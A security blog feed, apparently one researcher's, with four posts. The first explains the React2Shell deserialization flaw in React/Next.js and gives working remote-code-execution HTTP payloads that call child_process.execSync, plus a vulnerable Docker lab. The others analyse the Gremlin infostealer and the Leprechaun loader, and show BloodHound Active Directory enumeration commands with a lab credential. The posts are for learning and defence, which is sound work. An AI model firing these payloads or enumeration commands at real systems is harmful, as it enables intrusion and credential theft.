0xSN1PE

React2Shell - CVE-2025-55182

Wed, 31 Dec 2025 00:00:00 GMT

Introduction

While reviewing the major vulnerability disclosures of 2025, I found myself revisiting React2Shell, a flaw that sent shockwaves through the web development community last month. It has been some time since my last deep dive into web application pentesting, so I decided to analyze this critical vulnerability in detail.

Overview

React2Shell is a CVSS 10.0 critical severity vulnerability affecting server-side React.js usage. It is listed under CVE number: CVE-2025-55182 for React.js and CVE-2025-66487 for Next.js framework. This vulnerability allows unauthenticated remote code execution through crafted HTTP request. The react2shell vulnerability affects the React Server Components (RSC) and the frameworks that implements them such as Next.js and allows unauthenticated remote code execution. This vulnerability was reported by Lachlan Davidson on 29th November 2025 (Pacific Time) to the Meta team (maintainers of React.js). The vulnerability was first disclosed publicly later on 3rd December (Pacific Time) along with a patch. In this blog, we will cover some basics of React.js needed to understand this vulnerability, React Server Components (RSC), Flight Protocol, Analyze the vulnerability, Analyze the POC and finally Run the exploit in our own lab environment to see how the exploit works in real scenarios.

React Basics

React.js focuses on the view layer of an application and lets developers build reusable UI components that efficiently update when data changes using a virtual DOM. React itself does not handle routing, data fetching, or server logic—it is primarily concerned with rendering UI components in the browser (and, with additional tooling, on the server).

Next.js extends React by adding production-ready features such as server-side rendering (SSR), static site generation (SSG), API routes, file-based routing, and built-in performance optimizations. Next.js can run React code on the server (using Node.js) as well as in the browser, making it suitable for SEO-friendly and high-performance web applications.

Here are the important components of React.js we need to know about for understanding this exploit.

Prototype Chain - The prototype chain is JavaScript’s inheritance mechanism in which objects automatically delegate property lookups to their prototype, then to that prototype’s prototype, and so on until the chain ends at null, allowing objects to access properties and methods they do not directly define.

Constructor - A constructor is a special function used to create and initialize objects, defining their properties and behavior when a new instance is created.

Server rendering - It is a technique where an application’s UI is generated on the server and sent to the client as ready-to-use content, improving initial load time, performance, and SEO while reducing the amount of work done in the browser.

Chunk Object - A chunk object is a unit of data or code—often produced by a bundler or streaming protocol—that represents a portion of an application (such as a module, component, or serialized UI data) and is loaded, processed, or transmitted independently of other parts.

React Server Components and Flight Protocol

React Server Component (RSC)

React Server Components are a new type of component that run exclusively on the server, allowing for improved performance and user experience by reducing the amount of JavaScript sent to the client. They can fetch data and render parts of the UI before sending the final HTML to the browser, which helps in faster initial loading times and better SEO. React Server Component was first introduced in React 19.

Flight Protocol

The communication between the server and client in RSC relies on a protocol called React Flight. The React Flight Protocol is the internal wire protocol used by React Server Components to stream a serialized representation of the component tree from the server to the client instead of HTML, including component structure, props, and references to client components. The client React runtime (commonly via frameworks like Next.js) incrementally reconstructs and hydrates only interactive parts, enabling smaller JavaScript bundles, server-only logic, and faster rendering through streaming and Suspense. Simply put, this protocol is responsible for serializing and deserializing data exchanged between the client and the server. When the client invokes a server-side function (a Server Action), it sends a specially structured request with serialized data, which the server then deserializes and executes.

Deserialization Vulnerability

Unsafe deserialization is a vulnerability where untrusted serialized data is deserialized without proper validation, allowing attackers to manipulate objects and potentially achieve code execution, data tampering, or denial of service.

The react2shell vulnerability is basically an unsafe deserialization vulnerability in how the incoming flight protocol payloads are handled by the react server component. The vulnerability exists in the react-server-dom-webpack package.

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 ... <snip> ...
 return moduleExports[metadata[2]];  // VULNERABILITY
}

This issue is an unsafe deserialization vulnerability arising from how React Server Components interpret untrusted Flight protocol data on the server. In the vulnerable code inside react-server-dom-webpack, the requireModule function dynamically resolves exports using user-controlled metadata.

The line moduleExports[metadata[2]] is dangerous because JavaScript’s bracket notation does not restrict access to explicitly exported properties — it walks the entire prototype chain. As a result, an attacker can request properties like constructor that were never intended to be exposed. Since every JavaScript function inherits a constructor property pointing to the global JavaScript Function constructor, accessing someFunction.constructor yields a powerful primitive capable of executing arbitrary code via Function("code")(). The vulnerability becomes exploitable because the Flight protocol allows clients to specify colon-separated property paths, enabling crafted references such as $1:constructor:constructor, which resolve from a module export to its constructor and then to the global Function constructor. This effectively turns deserialization of Flight payloads into a server-side code execution risk, as untrusted client input controls object traversal and function resolution during server rendering.

The $1:constructor:constructor reference works by walking the object hierarchy step by step: it first resolves chunk (or module) 1, then accesses its .constructor property, which yields the global Function constructor, and finally accesses .constructor once more, still resolving to the same Function constructor while firmly anchoring the prototype chain path.

Deserialization to Remote Code Execution

maple3142 dropped a POC for the CVE-2025-55182 that achieves Remote Code Execution. This POC chains together various JavaScript engine behaviors to transform the deserialization vulnerability into Arbitrary Code Execution. The exploit is a multipart form http request with three fields.

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

PART ONE

This payload exploits how React Server Components process Flight data by abusing JavaScript’s “thenable” behavior and prototype-chain property resolution. The object is crafted to look like React’s internal Chunk structure, including fields such as status, value, _response, and especially then, so React treats it as a legitimate chunk. By setting then to resolve via __proto__, the object does not define its own then method but instead inherits Chunk.prototype.then. When React later awaits this chunk, JavaScript automatically invokes the inherited then method with the attacker-controlled object as this. The prototype then implementation assumes it is operating on a trusted internal chunk, so it reads other properties from the object without validation. Those properties are attacker-supplied and include paths like constructor:constructor, which resolve to the global Function constructor through the prototype chain. React’s internal response-handling logic then combines this with attacker-controlled strings (such as _prefix), resulting in the dynamic creation and execution of a function. In short, the exploit turns a passive serialized object into executable code by masquerading as a promise-like chunk, leveraging prototype traversal to reach powerful constructors, and letting JavaScript’s own await semantics trigger execution.

PART TWO

In the second stage, the exploit pivots from promise/thenable abuse to Blob deserialization, which is another trusted execution path in the React Flight protocol. In Flight payloads, values prefixed with $B represent Blob references, and when React encounters such a reference (for example $B1337), it resolves it by calling a Blob handler that fetches the associated data using response._formData.get(response._prefix + id). Under normal conditions, _formData.get is a safe accessor and _prefix is a benign string used to namespace Blob identifiers. However, the attacker has already polluted the _response object so that _formData.get no longer points to a real getter but instead resolves through the prototype chain to constructor:constructor, which is the global Function constructor. At the same time, _prefix is attacker-controlled and contains arbitrary JavaScript code. When the Blob handler concatenates _prefix with the Blob id (1337) and passes the result to _formData.get, React unknowingly executes Function("<attacker code>1337"). The act of constructing the function immediately evaluates the supplied string as executable JavaScript, leading to arbitrary code execution. This works because React assumes _response is a trusted internal object and does not validate either the type of _formData.get or the contents of _prefix, allowing a normally inert deserialization step to become an execution sink once those fields are attacker-controlled.

PART THREE

At this final stage, the exploit fully escapes the React runtime and achieves native server-side code execution by leveraging Node.js internals. The injected payload process.mainModule.require('child_process').execSync('xcalc') runs inside the same Node.js process that is executing the React server. First, process.mainModule gives access to the application’s entry module, which exposes a trusted require function even if require is not directly in scope. Using this require, the exploit loads Node.js’s built-in child_process module, which provides APIs for interacting with the operating system. Calling execSync then executes an arbitrary shell command synchronously with the privileges of the server process. Launching xcalc is simply a benign proof of exploitation showing that arbitrary commands can be executed, but the impact is far more severe: the same mechanism can be used to spawn reverse shells, read or modify files, exfiltrate environment variables and secrets, pivot to other internal services, or otherwise fully compromise the host. At this point, React and JavaScript abstractions no longer matter—the attacker effectively has the same capabilities as the Node.js application itself.

Taking a look at the POC

Now let us analyze the actual POC by maple3142.

POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

This technical analysis details a critical Remote Code Execution (RCE) vulnerability (CVE-2025-55182) affecting the React and Next.js ecosystems. The exploit leverages the way React Server Components (RSC) deserialize data through the Flight protocol.

Exploit Mechanism: The "Thenable" Injection

The attack is delivered via a crafted multipart/form-data request targeting a Server Action endpoint. By including the Next-Action header, the attacker forces the server to process the body using React’s internal serialization logic.

Payload Structure

Field 0 (The Poisoned Chunk): The attacker provides an object that mimics a React Chunk. It is engineered to include a then property and a polluted _response object, setting the stage for prototype pollution.
Field 1 (The Self-Reference): Using the value "$@0", the attacker creates a circular reference to Field 0. When React deserializes this, it treats the object as a "thenable" (a promise-like object).
Field 2 (The Validator): An empty array included to satisfy the Server Action’s expected argument structure, preventing the request from being rejected prematurely.

Execution Flow

Deserialization: React reconstructs the objects from the multipart fields.
Promise Trigger: Because the object is a "thenable," JavaScript’s promise logic automatically invokes the then method.
Blob Handling & Execution: During resolution, React encounters a $B1337 Blob reference. Due to the poisoned _response object, the framework's internal handler is redirected to the Function constructor. This allows the attacker’s input to be executed as code on the server.

Impact and Exposure

The vulnerability is highly critical due to its reliability and the "secure by default" assumption it breaks.

Metric	Details
Authentication	None required (Unauthenticated RCE)
Success Rate	Near 100% (Deterministic framework behavior)
Cloud Exposure	39% of cloud environments contain vulnerable instances
Total Reach	~571k React servers and ~444k Next.js servers (Shodan)

Affected Versions

The flaw resides in the React Server Components implementation across several major versions:

React: 19.0.0 through 19.2.0
Next.js: 14.3.0-canary.77+, all 15.x versions, and early 16.x versions.
Frameworks: Any RSC-based system, including Waku, Redwood SDK, and React Router.

Because standard create-next-app templates are vulnerable out of the box, immediate patching to the latest framework versions is highly recommended.

Running the Exploit

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

To test out the exploit, we will setup a docker container using a Dockerfile:

FROM node:20-bookworm

WORKDIR /app

# 1. Create package.json with the necessary scripts
RUN echo '{\
  "name": "vulnerable-nextjs",\
  "version": "0.1.0",\
  "private": true,\
  "scripts": {\
    "build": "next build",\
    "start": "next start"\
  }\
}' > package.json

# 2. Install the specific vulnerable versions (forcing bypass of peer conflicts)
RUN npm install next@15.0.0 react@19.0.0 react-dom@19.0.0 --legacy-peer-deps

# 3. Create a minimal JS-based App Router structure
RUN mkdir -p src/app
RUN echo 'export default function Page() { return <h1>Vulnerable Environment Running</h1>; }' > src/app/page.js
RUN echo 'export default function RootLayout({ children }) { return <html lang="en"><body>{children}</body></html>; }' > src/app/layout.js

# 4. Build the application
ENV NEXT_TELEMETRY_DISABLED 1
RUN npm run build

EXPOSE 3000

CMD ["npm", "run", "start"]

Then run the following to create and start the docker container on the port 3000.

docker build -t react2shell .
docker run -p 3000:3000 react2shell

To run the exploit, open a new tab in burp repeater (1) and paste in the http request from above. Then goto the top right corner (2) and select Target, a dialog box will open, fill out the target-specific information (3) and make sure to disable https as our application is running on http.

Now click on send and check the response.

The response will have a 500 Internal Server Error Code and the response body will contain the output for the id command.

Check out my POC for React2Shell here.

Final Words

This concludes my analysis of the React2Shell (CVE-2025-55182) vulnerability. We explored the React fundamentals necessary to understand the core flaw, examined React Server Components and the Flight Protocol, and analyzed how an unsafe deserialization vulnerability can be chained to achieve Remote Code Execution. Finally, we demonstrated the exploit in a controlled Docker environment. I highly recommend that all developers using React and Next.js audit their versions immediately. The next step for researchers would be to explore reverse shell persistence or alternative payloads to further understand the extent of this flaw.

Dissecting the Gremlin Infostealer

Tue, 28 Oct 2025 00:00:00 GMT

Introduction

Infostealers are a type of malware designed to secretly collect sensitive data such as passwords, browser data, financial information, or crypto keys from infected devices.

In modern times, infostealers pose a major threat because they enable large-scale identity theft, financial fraud, and credential leaks. For everyday users, this means stolen bank logins, compromised social media accounts, and drained crypto wallets. For corporations, it leads to massive data breaches, loss of intellectual property, ransomware attacks, and unauthorized access to internal systems making infostealers one of the most common entry point for larger cyberattacks.

Metadata

SHA256: d1ea7576611623c6a4ad1990ffed562e8981a3aa209717065eddc5be37a76132

Sample Link: here

Overview

This infostealer is known as Gremlin Stealer made in C#, it first surfaced in early 2025 on telegram, which the developer was using for selling this malware. They also offered a web interface to manage the stolen data. The stealer would gather credentials from the affected computer and exfiltrate it to the remote server which can be accessed by the admin.

Analysis

Determining the file type

Running the file command on the malware we find out that it's a .NET binary.

Analysis using PE Studio

PE Studio is a static analysis tool for Windows executables, primarily used in malware analysis, reverse engineering, and software inspection.

Looking at the file properties of the stealer in PE studio.

We can also see the detection score on virus total in the results.

We checked the libraries this malware is importing. We see it uses generic bcrypt.dll library for cryptographic operations, user32.dll for user based operations and iphlpapi.dll for networking.

Next, looking at the strings we see indication of the capabilities of this infostealer, what type of info it steals and the remote server it exfiltrates the stolen credentials to.

Analysis using dnSpy

dnSpy is a .NET debugger and decompiler — a powerful open-source tool used to inspect, debug, and modify .NET assemblies (like .dll and .exe files built on the .NET Framework or .NET Core).

As we already know by running the file command, this malware is written in C# so we will be using dnSpy to analyze it further.

Upon expanding the Sharp we find a big list of all functions within the malware. These include the functions for various types of data the malware targets and aims to steal such as location info, ftp credentials, credit card information, vpn credentials, crypto wallets, discord, steam account credentials and clipboard contents, etc.

Doing some further research we also find that the “SHARP” name is associated to another stealer which was discovered in 2024 and similar to the gremlin stealer it was being advertised and sold on telegram under the name “Sharp Project” and “Sharp Stealer”. It seems like gremlin is an improved version of the sharp stealer.

Looking through the functions we find there are several functions for the various tasks the malware performs, tasks such as encryption, decryption, data exfiltration, reading the contents of the clipboard. All these functionalities utilize libraries that we saw in the previous section. bcrypt.dll for cryptographic functions, user32.dll for getting clipboard data and iphlpapi.dll for networking.

Iphlpapi.dll is a dynamic link library file in Windows that provides various network-related functions and services, such as managing IP addresses and performing network diagnostics.

We find the “config” function that contains the configurations of the malware. It contains list of types of crypto currency to fetch from the target users crypto wallet, clipboard check delay time, directories to scan for data and much more. We also find the address of the web server where the stolen data is exfiltrated to

Analyzing the core functions

Crypto Wallets

This malware has a separate functions for various cryptocurrency and crypto wallets. Here is a list of all the crypto wallets supported by this stealer.

We will not be looking at each and every one of them as working of each cryptostealer function in this malware is similar i.e. to check the registry key for the wallet and then find the dat file of the wallet which contains the private keys, copies them to the malware controlled directory. Here we will take a look at the function for Litecoin stealer.

This whole function is wrapped in try-catch block which allows it to swallow up failed attempts silently. The function first attempts to access the subkey HKCU\Software\Litecoin\Litecoin-Qt. It then copies the wallet.dat file from it's original path to the malware controlled path to be processed further for exfiltration.

VPN Services

This malware also supports various VPNs and it fetches their credentials and exfiltrates it. Here is a list of all the VPNs supported by this stealer.

Here we will analyze one of the function for protonvpn.

It fetches the user.config file in the protonvpn installation directory and copies it to the malware controlled directory for further processing.

Browsers

It is very common for infostealers to fetch for saved passwords and cookies from various browsers installed on the system and save them into a file to be exfiltrated later. Here we will take a look at the function responsible for fetching passwords and cookies from Chromium and Gecko based browsers.

Within the PathsCV20 we find function we find a list of browsers that the malware supports along with their default path where the malware fetches them.

This malware also employs a common technique used by modern infostealers for bypassing the Chrome browsers cookie v20 protection.

Steam, Discord & Telegram

The discord function looks for token in browser sessions.

The steam stealer function first determines the install location, then enumerates user accounts on the target system, finds the token within config.vdf file and extract that, write it to a file and finally copies the login.vdf file to the malware controlled directory.

This malware can also steal data from telegram’s active session.

Clipboard Data

The malware continuously scans the clipboard for contents and sends them over to the web server.

System Information

This malware also steals all the system information. The following function shows us what system information is gathered.

This stealer also has the ability to take screenshot.

FTP Credentials

FTP applications such as Total Commander and File Zilla are also supported by this stealer. It gathers data such as Hostname, Port Number, Username and Password and send it to the web server.

Credit Card Information

The malware fetches credit card information such as Name, Number, Expiry Year/Month from browsers.

Data Exfiltration

Gremlin stages all gathered data, archived into a zip file in a malware controlled directory and then exfiltrated either to the web server at 207[.]244[.]199[.]46 and sends a message via telegram.

Final Words

This was my very basic analysis of the gremlin infostealer. Static analysis of Gremlin Stealer (C#) shows a modular infostealer that harvests browser creds/cookies, crypto wallets, VPN/FTP creds, Discord/Steam/Telegram tokens, clipboard data, screenshots and system info, then stages and exfiltrates to a remote server with Telegram reporting. Further steps would be to — run dynamic analysis (sandbox + network capture, process tracing) to confirm runtime behavior; mitigate with endpoint detection, browser hardening, and credential rotation.

Taking a look at the Leprechaun Loader

Mon, 20 Oct 2025 00:00:00 GMT

Introduction

I recently completed the Practical Malware Analysis & Triage course from TCM Security, Big kudos to Matt Kiely (Husky Hacks) for putting together such an awesome course. So after completing PMAT I was looking out for some malware to analyze and I stumbled upon this LeprechaunHvnc loader. Doing further research I found that it was initially discovered by a researcher Kseniia N and their teammate Tony in April 2024 and they posted about it here.

What is a Loader ?

A loader is a malware that fetches, decrypts, or loads another payload (often from a remote server) into memory for execution.

Difference between a loader and a dropper

A dropper delivers and installs a built-in payload, while a loader retrieves or loads a payload from elsewhere for execution.

Metadata

SHA256: 1d0753beaabc660960bb5297f43eae38128647c2a23b02b2550646d58aff8797

Sample Link: bazaar.abuse.ch

Overview

In this blog we will be going over the analysis of the leprechaun loader. First we perform static analysis using IDA to understand the working of the loader, then we will use wireshark to see the working of the loader by inspecting the http web traffic it generates when it tries to reach out to the C2 server and finally verify that it creates a registry key (as we will see in the static analysis) using registry editor. And the leprechaun name is taken from an Irish Legendary Creature.

Static Analysis

Inspecting in PE Studio

PE Studio is a static analysis tool for Windows executables, primarily used in malware analysis, reverse engineering, and software inspection.

File properties

Looking at the strings in PE studio we find some important indicators that this malware is an loader and part of a c2.

Additionally we look at the libraries being used in the loader. Pretty generic stuff - WININET for creating connections between the compromised machine and the c2 server.

Analyzing using IDA

IDA (short for Interactive DisAssembler) created by Hex Rays, is one of the most powerful and widely used disassemblers and reverse engineering tools in the cybersecurity and software analysis world.

We have a few functions and a huge graph starting from the start function.

Looking through the graph view, initially we find use of Urlmon.dll file, going a little further we find the address of the c2 server being used.

Looking further we find that there are 2 operations being performed depending on the condition whether the implant is installed or not.

Before that we see a function called sub_401640 that simply checks whether the subkey Software\\LeprechaunHvnc is present in the location HKEY_CURRENT_USER, basically it checks if the implant is present on the target.

Function 1 - `sub_4012A0`

The first thing we find is, the malware is utilising the GetUserName function to check the current user.

Next we see that another function sub_401680 is called, opening this function we find that it is being used to determine the os version.

After the user and the windows version are enumerated the string length function is used to store the value of both in variable v6 (for user) and the windows version string length is added to the v6 variable value and stored in v7. And the last v8 variable stores the string length of the value returned from the GetUserNameW function we saw initially and adds it us with the value of variable v7 along with some more space.

The next part of the function establishes a connection with the c2 and downloads the implant using the HttpOpenRequestW API function and sends a GET request.

Moving on to the next part of the function, it creates a registry key named Software\LeprechaunHvnc and sets value named “ID” in that key.

The last part of the current function checks if the value of the lpString2 is "User" (which is determined from the initial checks this function performs). If the value is user, then the loader generates a directory named WindowsecurityUpdates under the documents directory and copies the downloaded implant to the created directory within documents directory. It also creates a registry subkey named windowsupdates.

Function 2 - `sub_4011F0`

Now we will take a look at the other function which is called when the registry key for the Leprechaun exists. This function checks if the value ID is present inside the registry key Software\\LeprechaunHvnc

Now moving back to the main (start) function going further from the registry key check functions we find that it is using the Internet API and sending a GET request to the c2 server which is the value stored inside the v11 variable.

Moving further we find a function sub_4019D0 being called that downloads something from the c2 server.

Next we see the functionality of the malware which is responsible for fetching tasks from the c2 operator, replying with task status and performing certain tasks.

One part of function checks the activity status of the loader, whe it is started or stopped.

Looking at the last part of the loader we see that it creates a temporary directory called temp and prepares it to download a file from the specified URL and send the confirmation back to the c2 operator.

And the work of the loader is finished here after downloading the implant onto the target system.

Dynamic Analysis

If you are following along, make sure you take snapshot of the VM you are using for the analysis before executing the malware so that it can be restored after the analysis is completed.

Checking the HTTP traffic using Wireshark

We start up wireshark, make sure its listening on our network card and execute the leprechaun.exe file.

Filtering for http traffic in wireshark we find that the loader tries to send the os version and user details to the c2 operator and then further tries to receive commands but the c2 is shut down, so it keeps trying to reach out to the c2 continuously.

Checking the registry records

Furthermore we check the registry editor and find that a registry key is created with the name LeprechaunHvnc with a value ID as we saw in our analysis using IDA above.

Final Words

This was my first ever analysis of a malware so I probably would have missed some things but it was a good experience dissecting this loader and looking at the internal workings of how it operates, establishing a foothold on the system, using registry key to verify the presence of the implant, enumerating user privileges and windows version, downloading the implant from the c2 server and performing certain tasks as commanded by the c2 operator. I might release some more malware analysis blogs in future.

Attack Mapping with Bloodhound

Tue, 08 Jul 2025 00:00:00 GMT

What is Bloodhound ?

BloodHound, developed by SpecterOps, is a cybersecurity tool designed to analyze and manage identity-based attack paths within Active Directory (AD) and Azure environments. As mentioned on the official website of SpecterOps, BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory, Entra and Azure environment. Attackers can use BloodHound to easily identify highly complex Attack Paths that would otherwise be impossible to identify quickly, and defenders can use BloodHound to identify and eliminate those same Attack Paths. BloodHound helps blue and red teams better understand privileged relationships in an Active Directory, Entra, and Azure environments. It comes in two versions: the open-source BloodHound Community Edition (CE) and the commercial BloodHound Enterprise (BHE).

1. Bloodhound CE

BloodHound CE is a free, open-source tool that utilizes graph theory to uncover hidden relationships and permissions within AD and Entra ID (formerly Azure AD). By mapping these relationships, it helps security professionals identify potential attack paths that adversaries might exploit. Both offensive (red teams) and defensive (blue teams) security practitioners use it to understand and mitigate privilege escalation risks. We will be using Bloodhound CE throughout this blog.

2. BloodHound Enterprise

BloodHound Enterprise is a commercial SaaS solution that builds upon the capabilities of the Community Edition. It offers continuous monitoring and advanced features to help organizations proactively manage and remediate identity-based attack paths in their hybrid environments.

What are Ingestors ?

In BloodHound, ingestors (also called data collectors) are tools or scripts used to collect information from an Active Directory (AD) or Azure environment. This information is then ingested into BloodHound for analysis and graph visualization. There are basically 2 types of ingestors for bloodhound community edition: Sharphound and bloodhound-python.

1. Sharphound SharpHound Community Edition (CE) is the official data collector for BloodHound CE. It is written in C# and uses native Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems.

2. bloodhound-python bloodhound-python is an open-source ingestor tool for BloodHound Community Edition, written entirely in Python. It is used primarily on Linux and macOS systems to gather Active Directory data for BloodHound remotely, especially in scenarios where tools like SharpHound (which is Windows/C#-based) cannot be used.

Installing Bloodhound

For this blog we will be installing bloodhound community edition. The complete step for installation are provided in the official documentation on the SpecterOps website. We will be installing it on Kali 2025.2 and it requires docker and docker-compose to work (Official Installation Guide).

Docker & Docker-Compose can be installed on kali by following the following steps:

# Installing Docker
sudo apt update
sudo apt install -y docker.io
sudo systemctl enable docker --now
docker
sudo usermod -aG docker $USER

# Installing Docker-Compose
sudo apt-get install docker-compose

Reboot your system for docker daemon and other services to start.

Installing Bloohound CE: Following the steps in the official documentation:

mkdir bloodhound && cd bloodhound

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz

tar -xvzf bloodhound-cli-linux-amd64.tar.gz

./bloodhound-cli install

Bloodhound can be updated using the ./bloodhound-cli update command.

Now visit http://localhost:8080 in browser to access the bloodhound interface. Enter "admin" in email address field and the password provided in the terminal towards the end of the bloodhound-cli script output. It will ask to reset the password, enter any password and Login.

Installing the Ingestors

We need to download two ingestors for bloodhound: Sharphound and bloodhound-python

1. Installing Sharphound

Compatible version of sharphound can be downloaded from the bloodhound UI > Download Collectors.

Save it and extract it, you will find an executable file and powershell script file. Sharphound is used when you have the ability to execute commands on the target system such as winrm access or similar type of access as sharphound needs to be uploaded on the target system then it collects the data from the Active Directory environment.

2. bloodhound-python

bloodhound-python CE can be downloaded from the official github repository. As instructed in the installation process on the github repo we install bloodhound-python ce by:

pip install bloodhound-ce

And it can be accessed by running bloodhound-ce-python in the terminal.

Setting up bash alias for easy access

Now, it's hectic to run bloodhound by always going into the installation directory and running docker-compose to start bloodhound. So we will create bash aliases for starting, stopping bloodhound and one for bloodhound-python so that we don't have to type bloodhound-ce-python every time and since bloodhound-python (legacy version) is installed by default in kali, we dont want to uninstall it and break any packages so let's just override it by creating a bash alias. Add the following in your ~/.zshrc or ~/.bashrc file:

alias bloodhound="docker compose -f /home/kali/.config/bloodhound/docker-compose.yml up -d"

alias bloodhound-stop="docker compose -f /home/kali/.config/bloodhound/docker-compose.yml stop"

alias bloodhound-python="bloodhound-ce-python"

bloodhound : starts bloodhound
bloodhound-stop : stop bloodhound
bloodhound-python : run bloodhound-python CE

Collecting data using Ingestors

There are various ways to collect data for bloodhound using the ingestors sharphound and bloodhound-python:

Using Sharphound

The first step of using sharphound to collect data is uploading it to the target system. There are various ways to do this, using a python http web server or upload it directly if you're using evil-winrm. Once it's uploaded use the following command to collect data:

.\SharpHound.exe -c All -d <domain> --zipfilename loot.zip

The same can be done with the powershell script if the .exe does not work, upload the SharpHound.ps1 file to the target system and run it by running the following commands:

# Import the script
. .\SharpHound.ps1

Invoke-Bloodhound -c All -d <domain> --zipfilename loot.zip

Using bloodhound-python

bloodhound-python can be used when we dont have remote access to the target system and its not possible to upload the sharphound binary onto the system. Or when we have an initial credential provided (in case of an assumed breach scenario) its generally good practice to run bloodhound-python first:

bloodhound-python -u "<username>" -p "<password>" -d <parent domain> -v --zip -c All -ns <target ip>

Extra: Using Netexec

Netexec can also be used for collecting data for bloodhound.

nxc ldap <ip> -u <user> -p <pass> --bloodhound --collection All --dns-server <target ip>

Common Nodes and Edges Explained

Now before we start using bloodhound, its important to understand the common nodes and edges in bloodhound so that you know what and where to look at when mapping attack paths with bloodhound.

Common Nodes

Complete list of nodes can be found in the official documentation at SpecterOps.

Common Edges

Edges are the arrow-like shapes that connect two nodes together, each edge is labeled with something showing the permissions/privileges or other properties that one node has over another. Some of the interesting edges that you might want to look out for are:

GenericAll – Grants full control over the object, allowing actions like adding users to a group or resetting a user’s password.
GenericWrite – Allows modification of the object’s attributes, such as changing the logon script.
WriteOwner – Lets the attacker change the object’s ownership to a user they control, effectively taking over the object.
WriteDACL – Permits editing of the object’s access control list (ACL), enabling the attacker to assign themselves full permissions.
AllExtendedRights – Includes privileges such as adding users to groups or resetting passwords.
ForceChangePassword – Enables password changes for a user account without needing to know the current password.
DCSync – Grants the ability to replicate domain controller data, which can be used to extract credentials from the domain.

Complete list of edges can be found in the official documentation.

Mapping Attack Paths with Bloodhound

For this blog I will be using a retired machine from HackTheBox: Administrator

Collecting Data and Uploading it to Bloodhound

This machine has an assumed breach scenario so we are already provided with a credential: Olivia::ichliebedich. We use the provided credential with bloodhound-python to gather data for bloodhound:

bloodhound-python -u 'Olivia' -p 'ichliebedich' -c All -d administrator.htb -ns 10.10.11.42 --zip

Now open bloodhound by visiting: http://localhost:8000/ and logging in using admin:<your_password>. And go to Administration from the side menu and click on upload files and then select the zip file created by bloodhound-python. And wait for a while till the status changes to Complete from Ingesting.

The Bloodhound Explorer

Now go to the Explorer from the side menu and search the user (Olivia) that we have credential for and select the user. This will bring the user object into the main screen, now select the Olivia user object, right click on it and select Add to Owned. Adding objects to owned helps bloodhound figure out more accurate attack paths compared to non-owned objects. It's always a good practice to add objects to owned if you have them compromised.

Outbound Object Control

Now next steps is to check the Outbound Object Control of the selected object. Outbound Object Control means which objects our user can control or have privilege over. This can be found on the right side of the bloodhound ui after selecting the object under Object Information and scrolling down. Selecting Outbound Object Control will show us the privilege that our user has over the other object by connecting them with an edge. Our user olivia has GenericAll privilege over user Michael. GenericAll means that we have full control over the target object.

Pathfinding

Now we know that we have complete control over user Michael, so next we check the outbound object control of user michael and find that Michael has ForceChangePassword privilege over use benjamin. We can see this complete attack path by going to Pathfinding next to where we searched our user olivia and entering Olivia in the start node input field and Benjamin in destination node. This will show us the complete path from our user olivia to benjamin.

Relationship Information and Inbuilt Abuse Suggester

Now bloodhound also tells us the tools and commands we need to run to abuse these privileges mentioned on the edges. We can access that information by clicking on the edge and then check the Relationship Information on the right side of the bloodhound UI. Expanding the various subsections gives us information on how we can abuse the privilege on various systems. Since we do not have access to the target machine yet we will check the Linux abuse section. This gives us information about various tools, methods and commands that we can use to exploit that privilege.

Bloodhound Cypher

In BloodHound, Cypher is the query language used to interact with the Neo4j graph database, which stores all of the data BloodHound collects about an Active Directory (AD) environment. Cypher allows you to write custom queries to explore Active Directory relationships in detail. It helps find hidden attack paths, over-privileged accounts, and misconfigurations by analyzing complex connections between users, groups, and computers. Since it's optimized for graph data, Cypher is fast and scalable, making it ideal for both red and blue team assessments.

We can access Cypher by clicking on Cypher at the top, its right beside pathfinding along with search. Cypher contains a lot of presets by default that we can use for advanced mapping and it can be accessed by clicking the little folder icon.

We can also use our own Cypher query, check out this documentation by SpecterOps for further reference on how to use cypher in bloodhound.

Deleting Data from Bloodhound

